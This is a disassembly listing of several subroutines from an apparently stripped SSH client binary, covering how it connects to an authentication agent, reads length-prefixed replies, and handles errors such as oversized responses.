  ; >--------------------<  Subroutine # 228 >--------------------<
  ;
0805b2e8 <Unknown0228>:
0805b2e8  55                    push    %ebp
0805b2e9  89 e5                 mov     %esp,%ebp
0805b2eb  53                    push    %ebx
0805b2ec  50                    push    %eax
0805b2ed  e8 a6 f8 ff ff        call    0805ab98 <Unknown0227>
0805b2f2  89 c3                 mov     %eax,%ebx
0805b2f4  85 db                 test    %ebx,%ebx
0805b2f6  78 0c                 js      0805b304 <Unknown0228+0x1c>
0805b2f8  83 ec 0c              sub     $0xc,%esp
0805b2fb  68 a0 36 07 08        push    $0x80736a0  ;[in .rodata] 1852731203 'x43 x6f x6e x6e' "Connection
                                                    to authentication agent opened."
0805b300  eb 0a                 jmp     0805b30c <Unknown0228+0x24>
0805b302  89 f6                 mov     %esi,%esi
0805b304  83 ec 0c              sub     $0xc,%esp
0805b307  68 cb 36 07 08        push    $0x80736cb  ;[in .rodata] 1629515598 'x4e x6f x20 x61' "No agent."
0805b30c  e8 6f 4a ff ff        call    0804fd80 <Unknown0039>
0805b311  83 c4 10              add     $0x10,%esp
0805b314  89 d8                 mov     %ebx,%eax
0805b316  8b 5d fc              mov     0xfffffffc(%ebp),%ebx
0805b319  c9                    leave
0805b31a  c3                    ret
0805b31b  90                    nop


  ;
  ; >--------------------<  Subroutine # 229 >--------------------<
  ;
0805b31c <Unknown0229>:
0805b31c  55                    push    %ebp
0805b31d  89 e5                 mov     %esp,%ebp
0805b31f  56                    push    %esi
0805b320  53                    push    %ebx
0805b321  e8 c2 ff ff ff        call    0805b2e8 <Unknown0228>
0805b326  89 c6                 mov     %eax,%esi
0805b328  85 f6                 test    %esi,%esi
0805b32a  79 04                 jns     0805b330 <Unknown0229+0x14>
0805b32c  31 c0                 xor     %eax,%eax
0805b32e  eb 2d                 jmp     0805b35d <Unknown0229+0x41>
0805b330  83 ec 0c              sub     $0xc,%esp
0805b333  6a 28                 push    $0x28
0805b335  e8 56 bb ff ff        call    08056e90 <Unknown0170>
0805b33a  89 c3                 mov     %eax,%ebx
```

```
0805b33c   8d 43 04              lea      0x4(%ebx),%eax
0805b33f   89 33                 mov      %esi,(%ebx)
0805b341   89 04 24              mov      %eax,(%esp,1)
0805b344   e8 cb a5 ff ff        call     08055914 <Unknown0114>
0805b349   8d 43 14              lea      0x14(%ebx),%eax
0805b34c   89 04 24              mov      %eax,(%esp,1)
0805b34f   e8 c0 a5 ff ff        call     08055914 <Unknown0114>
0805b354   c7 43 24 00 00 00 00  movl     $0x0,0x24(%ebx)   ;0 'x0 x0 x0 x0' ""
0805b35b   89 d8                 mov      %ebx,%eax
0805b35d   8d 65 f8              lea      0xfffffff8(%ebp),%esp
0805b360   5b                    pop      %ebx
0805b361   5e                    pop      %esi
0805b362   5d                    pop      %ebp
0805b363   c3                    ret


  ;
  ; >--------------------<  Subroutine # 230 >--------------------<
  ;
0805b364 <Unknown0230>:
0805b364   55                    push     %ebp
0805b365   89 e5                 mov      %esp,%ebp
0805b367   53                    push     %ebx
0805b368   83 ec 0c              sub      $0xc,%esp
0805b36b   8b 5d 08              mov      0x8(%ebp),%ebx
0805b36e   6a 02                 push     $0x2
0805b370   ff 33                 pushl    (%ebx)
0805b372   e8 45 eb fe ff        call     08049ebc <shutdown>
0805b377   5a                    pop      %edx
0805b378   ff 33                 pushl    (%ebx)
0805b37a   e8 5d e9 fe ff        call     08049cdc <close>
0805b37f   8d 43 04              lea      0x4(%ebx),%eax
0805b382   89 04 24              mov      %eax,(%esp,1)
0805b385   e8 ba a5 ff ff        call     08055944 <Unknown0115>
0805b38a   8d 43 14              lea      0x14(%ebx),%eax
0805b38d   89 04 24              mov      %eax,(%esp,1)
0805b390   e8 af a5 ff ff        call     08055944 <Unknown0115>
0805b395   83 c4 10              add      $0x10,%esp
0805b398   89 5d 08              mov      %ebx,0x8(%ebp)
0805b39b   8b 5d fc              mov      0xfffffffc(%ebp),%ebx
0805b39e   c9                    leave
0805b39f   e9 6c bb ff ff        jmp      08056f10 <Unknown0172>   ;-17556 'x6c xbb xff xff' "l"
0805b3a4   55                    push     %ebp
0805b3a5   89 e5                 mov      %esp,%ebp
0805b3a7   57                    push     %edi
0805b3a8   56                    push     %esi
0805b3a9   53                    push     %ebx
0805b3aa   81 ec 10 20 00 00     sub      $0x2010,%esp   ;8208 'x10 x20 x0 x0' ""
0805b3b0   6a 05                 push     $0x5
0805b3b2   8d 9d e8 df ff ff     lea      0xffffdfe8(%ebp),%ebx   ;-8216 'xe8 xdf xff xff' ""
0805b3b8   53                    push     %ebx
0805b3b9   c6 85 e8 df ff ff 00  movb     $0x0,0xffffdfe8(%ebp)   ;-8216 'xe8 xdf xff xff' ""
0805b3c0   c6 85 e9 df ff ff 00  movb     $0x0,0xffffdfe9(%ebp)   ;-8215 'xe9 xdf xff xff' ""
0805b3c7   c6 85 ea df ff ff 00  movb     $0x0,0xffffdfea(%ebp)   ;-8214 'xea xdf xff xff' ""
0805b3ce   c6 85 eb df ff ff 01  movb     $0x1,0xffffdfeb(%ebp)   ;-8213 'xeb xdf xff xff' ""
0805b3d5   c6 85 ec df ff ff 01  movb     $0x1,0xffffdfec(%ebp)   ;-8212 'xec xdf xff xff' ""
0805b3dc   8b 45 08              mov      0x8(%ebp),%eax
0805b3df   ff 30                 pushl    (%eax)
0805b3e1   e8 c6 e8 fe ff        call     08049cac <write>
0805b3e6   83 c4 10              add      $0x10,%esp
0805b3e9   83 f8 05              cmp      $0x5,%eax
0805b3ec   74 3e                 je       0805b42c <Unknown0230+0xc8>
0805b3ee   83 ec 10              sub      $0x10,%esp
0805b3f1   e8 46 ea fe ff        call     08049e3c <__errno_location>
0805b3f6   5b                    pop      %ebx
0805b3f7   ff 30                 pushl    (%eax)
0805b3f9   e8 ee e9 fe ff        call     08049dec <strerror>
0805b3fe   5a                    pop      %edx
0805b3ff   59                    pop      %ecx
0805b400   50                    push     %eax
0805b401   68 d5 36 07 08        push     $0x80736d5   ;[in .rodata] 1953067639 'x77 x72 x69 x74' "write
                                                        auth->fd: %.100s"
0805b406   eb 18                 jmp      0805b420 <Unknown0230+0xbc>
0805b408   83 ec 10              sub      $0x10,%esp
0805b40b   e8 2c ea fe ff        call     08049e3c <__errno_location>
0805b410   5f                    pop      %edi
0805b411   ff 30                 pushl    (%eax)
0805b413   e8 d4 e9 fe ff        call     08049dec <strerror>
0805b418   5b                    pop      %ebx
0805b419   5e                    pop      %esi
0805b41a   50                    push     %eax
0805b41b   68 ec 36 07 08        push     $0x80736ec   ;[in .rodata] 1684104562 'x72 x65 x61 x64' "read
                                                        auth->fd: %.100s"
0805b420   e8 e3 49 ff ff        call     0804fe08 <Unknown0040>
```

```
0805b425  31 c0                 xor      %eax,%eax
0805b427  e9 52 01 00 00        jmp      0805b57e <Unknown0230+0x21a>  ;338 'x52 x1 x0 x0' "R"
0805b42c  be 04 00 00 00        mov      $0x4,%esi   ;4 'x4 x0 x0 x0' ""
0805b431  89 df                 mov      %ebx,%edi
0805b433  90                    nop
0805b434  89 f8                 mov      %edi,%eax
0805b436  51                    push     %ecx
0805b437  29 f0                 sub      %esi,%eax
0805b439  56                    push     %esi
0805b43a  83 c0 04              add      $0x4,%eax
0805b43d  50                    push     %eax
0805b43e  8b 55 08              mov      0x8(%ebp),%edx
0805b441  ff 32                 pushl    (%edx)
0805b443  e8 64 f0 fe ff        call     0804a4ac <read>
0805b448  89 c3                 mov      %eax,%ebx
0805b44a  83 c4 10              add      $0x10,%esp
0805b44d  85 db                 test     %ebx,%ebx
0805b44f  7e b7                 jle      0805b408 <Unknown0230+0xa4>
0805b451  29 de                 sub      %ebx,%esi
0805b453  85 f6                 test     %esi,%esi
0805b455  7f dd                 jg       0805b434 <Unknown0230+0xd0>
0805b457  0f b6 b5 e8 df ff ff  movzbl   0xffffdfe8(%ebp),%esi  ;-8216 'xe8 xdf xff xff' ""
0805b45e  0f b6 85 e9 df ff ff  movzbl   0xffffdfe9(%ebp),%eax  ;-8215 'xe9 xdf xff xff' ""
0805b465  c1 e0 10              shl      $0x10,%eax
0805b468  c1 e6 18              shl      $0x18,%esi
0805b46b  09 c6                 or       %eax,%esi
0805b46d  0f b6 85 ea df ff ff  movzbl   0xffffdfea(%ebp),%eax  ;-8214 'xea xdf xff xff' ""
0805b474  c1 e0 08              shl      $0x8,%eax
0805b477  09 c6                 or       %eax,%esi
0805b479  0f b6 85 eb df ff ff  movzbl   0xffffdfeb(%ebp),%eax  ;-8213 'xeb xdf xff xff' ""
0805b480  09 c6                 or       %eax,%esi
0805b482  8d 46 ff              lea      0xffffffff(%esi),%eax
0805b485  3d ff 77 00 00        cmp      $0x77ff,%eax   ;30719 'xff x77 x0 x0' ""
0805b48a  76 11                 jbe      0805b49d <Unknown0230+0x139>
0805b48c  83 ec 08              sub      $0x8,%esp
0805b48f  56                    push     %esi
0805b490  68 20 37 07 08        push     $0x8073720   ;[in .rodata] 1752462657 'x41 x75 x74 x68'
                                                       "Authentication reply message too long: %d"
0805b495  e8 c2 4a ff ff        call     0804ff5c <Unknown0044>
0805b49a  83 c4 10              add      $0x10,%esp
0805b49d  8b 45 08              mov      0x8(%ebp),%eax
0805b4a0  83 ec 0c              sub      $0xc,%esp
0805b4a3  83 c0 14              add      $0x14,%eax
0805b4a6  50                    push     %eax
0805b4a7  e8 c0 a4 ff ff        call     0805596c <Unknown0116>
0805b4ac  eb 4e                 jmp      0805b4fc <Unknown0230+0x198>
0805b4ae  89 f6                 mov      %esi,%esi
0805b4b0  81 fe 00 20 00 00     cmp      $0x2000,%esi   ;8192 'x0 x20 x0 x0' ""
0805b4b6  89 f3                 mov      %esi,%ebx
0805b4b8  76 05                 jbe      0805b4bf <Unknown0230+0x15b>
0805b4ba  bb 00 20 00 00        mov      $0x2000,%ebx   ;8192 'x0 x20 x0 x0' ""
0805b4bf  52                    push     %edx
0805b4c0  53                    push     %ebx
0805b4c1  8d bd e8 df ff ff     lea      0xffffdfe8(%ebp),%edi  ;-8216 'xe8 xdf xff xff' ""
0805b4c7  57                    push     %edi
0805b4c8  8b 45 08              mov      0x8(%ebp),%eax
0805b4cb  ff 30                 pushl    (%eax)
0805b4cd  e8 da ef fe ff        call     0804a4ac <read>
0805b4d2  89 c3                 mov      %eax,%ebx
0805b4d4  83 c4 10              add      $0x10,%esp
0805b4d7  85 db                 test     %ebx,%ebx
0805b4d9  7f 10                 jg       0805b4eb <Unknown0230+0x187>
0805b4db  83 ec 0c              sub      $0xc,%esp
0805b4de  68 60 37 07 08        push     $0x8073760   ;[in .rodata] 1868787273 'x49 x6e x63 x6f' "Incomplete
                                                       authentication reply."
0805b4e3  e8 74 4a ff ff        call     0804ff5c <Unknown0044>
0805b4e8  83 c4 10              add      $0x10,%esp
0805b4eb  50                    push     %eax
0805b4ec  53                    push     %ebx
0805b4ed  8b 45 08              mov      0x8(%ebp),%eax
0805b4f0  57                    push     %edi
0805b4f1  83 c0 14              add      $0x14,%eax
0805b4f4  50                    push     %eax
0805b4f5  29 de                 sub      %ebx,%esi
0805b4f7  e8 88 a4 ff ff        call     08055984 <Unknown0117>
0805b4fc  83 c4 10              add      $0x10,%esp
0805b4ff  85 f6                 test     %esi,%esi
0805b501  7f ad                 jg       0805b4b0 <Unknown0230+0x14c>
0805b503  51                    push     %ecx
0805b504  6a 01                 push     $0x1
0805b506  8d 85 e8 df ff ff     lea      0xffffdfe8(%ebp),%eax  ;-8216 'xe8 xdf xff xff' ""
0805b50c  8b 5d 08              mov      0x8(%ebp),%ebx
0805b50f  50                    push     %eax
0805b510  83 c3 14              add      $0x14,%ebx
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```
0805b513   53                        push     %ebx
0805b514   e8 3f a5 ff ff            call     08055a58 <Unknown0120>
0805b519   83 c4 10                  add      $0x10,%esp
0805b51c   80 bd e8 df ff ff 02      cmpb     $0x2,0xffffdfe8(%ebp)   ;-8216 'xe8 xdf xff xff' ""
0805b523   74 18                     je       0805b53d <Unknown0230+0x1d9>
0805b525   83 ec 08                  sub      $0x8,%esp
0805b528   0f b6 85 e8 df ff ff      movzbl   0xffffdfe8(%ebp),%eax   ;-8216 'xe8 xdf xff xff' ""
0805b52f   50                        push     %eax
0805b530   68 a0 37 07 08            push     $0x80737a0   ;[in .rodata] 543449410 'x42 x61 x64 x20' "Bad
                                                             authentication reply message type: %d"
0805b535   e8 22 4a ff ff            call     0804ff5c <Unknown0044>
0805b53a   83 c4 10                  add      $0x10,%esp
0805b53d   83 ec 0c                  sub      $0xc,%esp
0805b540   53                        push     %ebx
0805b541   e8 fa f4 ff ff            call     0805aa40 <Unknown0221>
0805b546   83 c4 10                  add      $0x10,%esp
0805b549   8b 55 08                  mov      0x8(%ebp),%edx
0805b54c   3d 00 04 00 00            cmp      $0x400,%eax   ;1024 'x0 x4 x0 x0' ""
0805b551   89 42 24                  mov      %eax,0x24(%edx)
0805b554   7e 11                     jle      0805b567 <Unknown0230+0x203>
0805b556   83 ec 08                  sub      $0x8,%esp
0805b559   50                        push     %eax
0805b55a   68 e0 37 07 08            push     $0x80737e0   ;[in .rodata] 544173908 'x54 x6f x6f x20' "Too many
                                                             identities in authentication reply: %d"
0805b55f   e8 f8 49 ff ff            call     0804ff5c <Unknown0044>
0805b564   83 c4 10                  add      $0x10,%esp
0805b567   83 ec 0c                  sub      $0xc,%esp
0805b56a   ff 75 18                  pushl    0x18(%ebp)
0805b56d   ff 75 14                  pushl    0x14(%ebp)
0805b570   ff 75 10                  pushl    0x10(%ebp)
0805b573   ff 75 0c                  pushl    0xc(%ebp)
0805b576   ff 75 08                  pushl    0x8(%ebp)
0805b579   e8 0a 00 00 00            call     0805b588 <Unknown0231>
0805b57e   8d 65 f4                  lea      0xfffffff4(%ebp),%esp
0805b581   5b                        pop      %ebx
0805b582   5e                        pop      %esi
0805b583   5f                        pop      %edi
0805b584   5d                        pop      %ebp
0805b585   c3                        ret
0805b586   89 f6                     mov      %esi,%esi


   ;
   ; >---------------------<  Subroutine # 231 >---------------------<
   ;
0805b588 <Unknown0231>:
0805b588   55                        push     %ebp
0805b589   89 e5                     mov      %esp,%ebp
0805b58b   56                        push     %esi
0805b58c   53                        push     %ebx
0805b58d   8b 75 08                  mov      0x8(%ebp),%esi
0805b590   8b 5e 24                  mov      0x24(%esi),%ebx
0805b593   85 db                     test     %ebx,%ebx
0805b595   7f 05                     jg       0805b59c <Unknown0231+0x14>
0805b597   31 c0                     xor      %eax,%eax
0805b599   eb 3f                     jmp      0805b5da <Unknown0231+0x52>
0805b59b   90                        nop
0805b59c   8d 5e 14                  lea      0x14(%esi),%ebx
0805b59f   83 ec 0c                  sub      $0xc,%esp
0805b5a2   53                        push     %ebx
0805b5a3   e8 98 f4 ff ff            call     0805aa40 <Unknown0221>
0805b5a8   8b 55 0c                  mov      0xc(%ebp),%edx
0805b5ab   89 02                     mov      %eax,(%edx)
0805b5ad   5a                        pop      %edx
0805b5ae   59                        pop      %ecx
0805b5af   ff 75 10                  pushl    0x10(%ebp)
0805b5b2   53                        push     %ebx
0805b5b3   e8 d8 f3 ff ff            call     0805a990 <Unknown0220>
0805b5b8   59                        pop      %ecx
0805b5b9   58                        pop      %eax
0805b5ba   ff 75 14                  pushl    0x14(%ebp)
0805b5bd   53                        push     %ebx
0805b5be   e8 cd f3 ff ff            call     0805a990 <Unknown0220>
0805b5c3   58                        pop      %eax
0805b5c4   5a                        pop      %edx
0805b5c5   6a 00                     push     $0x0
0805b5c7   53                        push     %ebx
0805b5c8   e8 f3 f4 ff ff            call     0805aac0 <Unknown0223>
0805b5cd   8b 55 18                  mov      0x18(%ebp),%edx
0805b5d0   89 02                     mov      %eax,(%edx)
0805b5d2   ff 4e 24                  decl     0x24(%esi)
0805b5d5   b8 01 00 00 00            mov      $0x1,%eax   ;1 'x1 x0 x0 x0' ""
0805b5da   8d 65 f8                  lea      0xfffffff8(%ebp),%esp
0805b5dd   5b                        pop      %ebx
```

```
0805b5de  5e                      pop    %esi
0805b5df  5d                      pop    %ebp
0805b5e0  c3                      ret
0805b5e1  8d 76 00                lea    0x0(%esi),%esi


  ;
  ; >--------------------<  Subroutine # 232 >--------------------<
  ;
0805b5e4 <Unknown0232>:
0805b5e4  55                      push   %ebp
0805b5e5  89 e5                   mov    %esp,%ebp
0805b5e7  57                      push   %edi
0805b5e8  56                      push   %esi
0805b5e9  53                      push   %ebx
0805b5ea  81 ec 1c 20 00 00       sub    $0x201c,%esp  ;8220 'x1c x20 x0 x0' ""
0805b5f0  8b 75 20                mov    0x20(%ebp),%esi
0805b5f3  85 f6                   test   %esi,%esi
0805b5f5  75 10                   jne    0805b607 <Unknown0232+0x23>
0805b5f7  83 ec 0c                sub    $0xc,%esp
0805b5fa  68 20 38 07 08          push   $0x8073820   ;[in .rodata] 1886220099 'x43 x6f x6d x70'
                                                      "Compatibility with ssh protocol version 1.0 no longer
                                                      supported."
0805b5ff  e8 58 49 ff ff          call   0804ff5c <Unknown0044>
0805b604  83 c4 10                add    $0x10,%esp
0805b607  8d 7d d8                lea    0xffffffd8(%ebp),%edi
0805b60a  83 ec 0c                sub    $0xc,%esp
0805b60d  57                      push   %edi
0805b60e  c6 85 d8 df ff ff 03    movb   $0x3,0xffffffd8(%ebp)   ;-8232 'xd8 xdf xff xff' ""
0805b615  e8 fa a2 ff ff          call   08055914 <Unknown0114>
0805b61a  83 c4 0c                add    $0xc,%esp
0805b61d  6a 01                   push   $0x1
0805b61f  8d 9d d8 df ff ff       lea    0xffffffd8(%ebp),%ebx   ;-8232 'xd8 xdf xff xff' ""
0805b625  53                      push   %ebx
0805b626  57                      push   %edi
0805b627  e8 58 a3 ff ff          call   08055984 <Unknown0117>
0805b62c  58                      pop    %eax
0805b62d  5a                      pop    %edx
0805b62e  ff 75 0c                pushl  0xc(%ebp)
0805b631  57                      push   %edi
0805b632  e8 41 f4 ff ff          call   0805aa78 <Unknown0222>
0805b637  5a                      pop    %edx
0805b638  59                      pop    %ecx
0805b639  ff 75 10                pushl  0x10(%ebp)
0805b63c  57                      push   %edi
0805b63d  e8 2e f2 ff ff          call   0805a870 <Unknown0219>
0805b642  59                      pop    %ecx
0805b643  58                      pop    %eax
0805b644  ff 75 14                pushl  0x14(%ebp)
0805b647  57                      push   %edi
0805b648  e8 23 f2 ff ff          call   0805a870 <Unknown0219>
0805b64d  58                      pop    %eax
0805b64e  5a                      pop    %edx
0805b64f  ff 75 18                pushl  0x18(%ebp)
0805b652  57                      push   %edi
0805b653  e8 18 f2 ff ff          call   0805a870 <Unknown0219>
0805b658  83 c4 0c                add    $0xc,%esp
0805b65b  6a 10                   push   $0x10
0805b65d  ff 75 1c                pushl  0x1c(%ebp)
0805b660  57                      push   %edi
0805b661  e8 1e a3 ff ff          call   08055984 <Unknown0117>
0805b666  5a                      pop    %edx
0805b667  59                      pop    %ecx
0805b668  56                      push   %esi
0805b669  57                      push   %edi
0805b66a  e8 09 f4 ff ff          call   0805aa78 <Unknown0222>
0805b66f  89 3c 24                mov    %edi,(%esp,1)
0805b672  e8 d1 a3 ff ff          call   08055a48 <Unknown0119>
0805b677  89 c6                   mov    %eax,%esi
0805b679  83 c4 0c                add    $0xc,%esp
0805b67c  c1 f8 18                sar    $0x18,%eax
0805b67f  88 85 d8 df ff ff       mov    %al,0xffffffd8(%ebp)   ;-8232 'xd8 xdf xff xff' ""
0805b685  89 f0                   mov    %esi,%eax
0805b687  c1 f8 10                sar    $0x10,%eax
0805b68a  88 85 d9 df ff ff       mov    %al,0xffffffd9(%ebp)   ;-8231 'xd9 xdf xff xff' ""
0805b690  89 f0                   mov    %esi,%eax
0805b692  c1 f8 08                sar    $0x8,%eax
0805b695  88 85 da df ff ff       mov    %al,0xffffffda(%ebp)   ;-8230 'xda xdf xff xff' ""
0805b69b  89 f0                   mov    %esi,%eax
0805b69d  88 85 db df ff ff       mov    %al,0xffffffdb(%ebp)   ;-8229 'xdb xdf xff xff' ""
0805b6a3  6a 04                   push   $0x4
0805b6a5  53                      push   %ebx
0805b6a6  8b 55 08                mov    0x8(%ebp),%edx
0805b6a9  ff 32                   pushl  (%edx)
```

```
0805b6ab  e8 fc e5 fe ff        call    08049cac <write>
0805b6b0  83 c4 10              add     $0x10,%esp
0805b6b3  83 f8 04              cmp     $0x4,%eax
0805b6b6  75 54                 jne     0805b70c <Unknown0232+0x128>
0805b6b8  83 ec 0c              sub     $0xc,%esp
0805b6bb  57                    push    %edi
0805b6bc  e8 87 a3 ff ff        call    08055a48 <Unknown0119>
0805b6c1  83 c4 0c              add     $0xc,%esp
0805b6c4  50                    push    %eax
0805b6c5  50                    push    %eax
0805b6c6  57                    push    %edi
0805b6c7  e8 40 a4 ff ff        call    08055b0c <Unknown0123>
0805b6cc  5b                    pop     %ebx
0805b6cd  5e                    pop     %esi
0805b6ce  50                    push    %eax
0805b6cf  8b 45 08              mov     0x8(%ebp),%eax
0805b6d2  ff 30                 pushl   (%eax)
0805b6d4  e8 d3 e5 fe ff        call    08049cac <write>
0805b6d9  89 c3                 mov     %eax,%ebx
0805b6db  89 3c 24              mov     %edi,(%esp,1)
0805b6de  e8 65 a3 ff ff        call    08055a48 <Unknown0119>
0805b6e3  83 c4 10              add     $0x10,%esp
0805b6e6  39 c3                 cmp     %eax,%ebx
0805b6e8  75 22                 jne     0805b70c <Unknown0232+0x128>
0805b6ea  be 04 00 00 00        mov     $0x4,%esi   ;4 'x4 x0 x0 x0' ""
0805b6ef  eb 61                 jmp     0805b752 <Unknown0232+0x16e>
0805b6f1  8d 76 00              lea     0x0(%esi),%esi
0805b6f4  83 ec 0c              sub     $0xc,%esp
0805b6f7  68 c0 38 07 08        push    $0x80738c0  ;[in .rodata] 1869771333 'x45 x72 x72 x6f' "Error
                                                     reading response length from authentication socket."
0805b6fc  eb 16                 jmp     0805b714 <Unknown0232+0x130>
0805b6fe  89 f6                 mov     %esi,%esi
0805b700  83 ec 0c              sub     $0xc,%esp
0805b703  68 40 39 07 08        push    $0x8073940  ;[in .rodata] 1869771333 'x45 x72 x72 x6f' "Error
                                                     reading response from authentication socket."
0805b708  eb 0a                 jmp     0805b714 <Unknown0232+0x130>
0805b70a  89 f6                 mov     %esi,%esi
0805b70c  83 ec 0c              sub     $0xc,%esp
0805b70f  68 80 38 07 08        push    $0x8073880  ;[in .rodata] 1869771333 'x45 x72 x72 x6f' "Error
                                                     writing to authentication socket."
0805b714  e8 ef 46 ff ff        call    0804fe08 <Unknown0040>
0805b719  83 c4 10              add     $0x10,%esp
0805b71c  8d 45 d8              lea     0xffffffd8(%ebp),%eax
0805b71f  83 ec 0c              sub     $0xc,%esp
0805b722  50                    push    %eax
0805b723  e8 1c a2 ff ff        call    08055944 <Unknown0115>
0805b728  31 c0                 xor     %eax,%eax
0805b72a  e9 3a 01 00 00        jmp     0805b869 <Unknown0232+0x285>  ;314 'x3a x1 x0 x0' ":"
0805b72f  90                    nop
0805b730  8d 45 e8              lea     0xffffffe8(%ebp),%eax
0805b733  51                    push    %ecx
0805b734  29 f0                 sub     %esi,%eax
0805b736  56                    push    %esi
0805b737  2d 0c 20 00 00        sub     $0x200c,%eax   ;8204 'xc x20 x0 x0' ""
0805b73c  50                    push    %eax
0805b73d  8b 55 08              mov     0x8(%ebp),%edx
0805b740  ff 32                 pushl   (%edx)
0805b742  e8 65 ed fe ff        call    0804a4ac <read>
0805b747  89 c3                 mov     %eax,%ebx
0805b749  83 c4 10              add     $0x10,%esp
0805b74c  85 db                 test    %ebx,%ebx
0805b74e  7e a4                 jle     0805b6f4 <Unknown0232+0x110>
0805b750  29 de                 sub     %ebx,%esi
0805b752  85 f6                 test    %esi,%esi
0805b754  7f da                 jg      0805b730 <Unknown0232+0x14c>
0805b756  0f b6 b5 d8 df ff ff  movzbl  0xffffdfd8(%ebp),%esi  ;-8232 'xd8 xdf xff xff' ""
0805b75d  0f b6 85 d9 df ff ff  movzbl  0xffffdfd9(%ebp),%eax  ;-8231 'xd9 xdf xff xff' ""
0805b764  c1 e0 10              shl     $0x10,%eax
0805b767  c1 e6 18              shl     $0x18,%esi
0805b76a  09 c6                 or      %eax,%esi
0805b76c  0f b6 85 da df ff ff  movzbl  0xffffdfda(%ebp),%eax  ;-8230 'xda xdf xff xff' ""
0805b773  c1 e0 08              shl     $0x8,%eax
0805b776  09 c6                 or      %eax,%esi
0805b778  0f b6 85 db df ff ff  movzbl  0xffffdfdb(%ebp),%eax  ;-8229 'xdb xdf xff xff' ""
0805b77f  09 c6                 or      %eax,%esi
0805b781  81 fe 00 78 00 00     cmp     $0x7800,%esi   ;30720 'x0 x78 x0 x0' ""
0805b787  7e 11                 jle     0805b79a <Unknown0232+0x1b6>
0805b789  83 ec 08              sub     $0x8,%esp
0805b78c  56                    push    %esi
0805b78d  68 00 39 07 08        push    $0x8073900  ;[in .rodata] 1752462657 'x41 x75 x74 x68'
                                                     "Authentication response too long: %d"
0805b792  e8 c5 47 ff ff        call    0804ff5c <Unknown0044>
0805b797  83 c4 10              add     $0x10,%esp
0805b79a  83 ec 0c              sub     $0xc,%esp
```

```
0805b79d  8d 45 d8              lea     0xffffffd8(%ebp),%eax
0805b7a0  50                    push    %eax
0805b7a1  e8 c6 a1 ff ff        call    0805596c <Unknown0116>
0805b7a6  eb 3d                 jmp     0805b7e5 <Unknown0232+0x201>
0805b7a8  81 fe 00 20 00 00     cmp     $0x2000,%esi   ;8192 'x0 x20 x0 x0' ""
0805b7ae  89 f3                 mov     %esi,%ebx
0805b7b0  76 05                 jbe     0805b7b7 <Unknown0232+0x1d3>
0805b7b2  bb 00 20 00 00        mov     $0x2000,%ebx   ;8192 'x0 x20 x0 x0' ""
0805b7b7  52                    push    %edx
0805b7b8  53                    push    %ebx
0805b7b9  8d bd d8 df ff ff     lea     0xffffdfd8(%ebp),%edi  ;-8232 'xd8 xdf xff xff' ""
0805b7bf  57                    push    %edi
0805b7c0  8b 45 08              mov     0x8(%ebp),%eax
0805b7c3  ff 30                 pushl   (%eax)
0805b7c5  e8 e2 ec fe ff        call    0804a4ac <read>
0805b7ca  89 c3                 mov     %eax,%ebx
0805b7cc  83 c4 10              add     $0x10,%esp
0805b7cf  85 db                 test    %ebx,%ebx
0805b7d1  0f 8e 29 ff ff ff     jle     0805b700 <Unknown0232+0x11c>   ;-215 'x29 xff xff xff' ")"
0805b7d7  50                    push    %eax
0805b7d8  53                    push    %ebx
0805b7d9  57                    push    %edi
0805b7da  8d 45 d8              lea     0xffffffd8(%ebp),%eax
0805b7dd  50                    push    %eax
0805b7de  29 de                 sub     %ebx,%esi
0805b7e0  e8 9f a1 ff ff        call    08055984 <Unknown0117>
0805b7e5  83 c4 10              add     $0x10,%esp
0805b7e8  85 f6                 test    %esi,%esi
0805b7ea  7f bc                 jg      0805b7a8 <Unknown0232+0x1c4>
0805b7ec  56                    push    %esi
0805b7ed  6a 01                 push    $0x1
0805b7ef  8d 85 d8 df ff ff     lea     0xffffdfd8(%ebp),%eax   ;-8232 'xd8 xdf xff xff' ""
0805b7f5  50                    push    %eax
0805b7f6  8d 75 d8              lea     0xffffffd8(%ebp),%esi
0805b7f9  56                    push    %esi
0805b7fa  e8 59 a2 ff ff        call    08055a58 <Unknown0120>
0805b7ff  8a 85 d8 df ff ff     mov     0xffffdfd8(%ebp),%al   ;-8232 'xd8 xdf xff xff' ""
0805b805  83 c4 10              add     $0x10,%esp
0805b808  3c 05                 cmp     $0x5,%al
0805b80a  75 14                 jne     0805b820 <Unknown0232+0x23c>
0805b80c  83 ec 0c              sub     $0xc,%esp
0805b80f  68 80 39 07 08        push    $0x8073980   ;[in .rodata] 1852139329 'x41 x67 x65 x6e' "Agent
                                                      admitted failure to authenticate using the key."
0805b814  e8 03 44 ff ff        call    0804fc1c <Unknown0036>
0805b819  e9 fb fe ff ff        jmp     0805b719 <Unknown0232+0x135>   ;-261 'xfb xfe xff xff' ""
0805b81e  89 f6                 mov     %esi,%esi
0805b820  3c 04                 cmp     $0x4,%al
0805b822  74 18                 je      0805b83c <Unknown0232+0x258>
0805b824  83 ec 08              sub     $0x8,%esp
0805b827  0f b6 85 d8 df ff ff  movzbl  0xffffdfd8(%ebp),%eax   ;-8232 'xd8 xdf xff xff' ""
0805b82e  50                    push    %eax
0805b82f  68 c0 39 07 08        push    $0x80739c0   ;[in .rodata] 543449410 'x42 x61 x64 x20' "Bad
                                                      authentication response: %d"
0805b834  e8 23 47 ff ff        call    0804ff5c <Unknown0044>
0805b839  83 c4 10              add     $0x10,%esp
0805b83c  31 db                 xor     %ebx,%ebx
0805b83e  89 f6                 mov     %esi,%esi
0805b840  83 ec 0c              sub     $0xc,%esp
0805b843  56                    push    %esi
0805b844  e8 13 f3 ff ff        call    0805ab5c <Unknown0225>
0805b849  8b 55 24              mov     0x24(%ebp),%edx
0805b84c  88 04 13              mov     %al,(%ebx,%edx,1)
0805b84f  43                    inc     %ebx
0805b850  83 c4 10              add     $0x10,%esp
0805b853  83 fb 0f              cmp     $0xf,%ebx
0805b856  7e e8                 jle     0805b840 <Unknown0232+0x25c>
0805b858  8d 45 d8              lea     0xffffffd8(%ebp),%eax
0805b85b  83 ec 0c              sub     $0xc,%esp
0805b85e  50                    push    %eax
0805b85f  e8 e0 a0 ff ff        call    08055944 <Unknown0115>
0805b864  b8 01 00 00 00        mov     $0x1,%eax   ;1 'x1 x0 x0 x0' ""
0805b869  8d 65 f4              lea     0xfffffff4(%ebp),%esp
0805b86c  5b                    pop     %ebx
0805b86d  5e                    pop     %esi
0805b86e  5f                    pop     %edi
0805b86f  5d                    pop     %ebp
0805b870  c3                    ret
0805b871  8d 76 00              lea     0x0(%esi),%esi


  ;
  ; >---------------------<  Subroutine # 233 >---------------------<
  ;
0805b874 <Unknown0233>:
```

```
0805b874   55                          push    %ebp
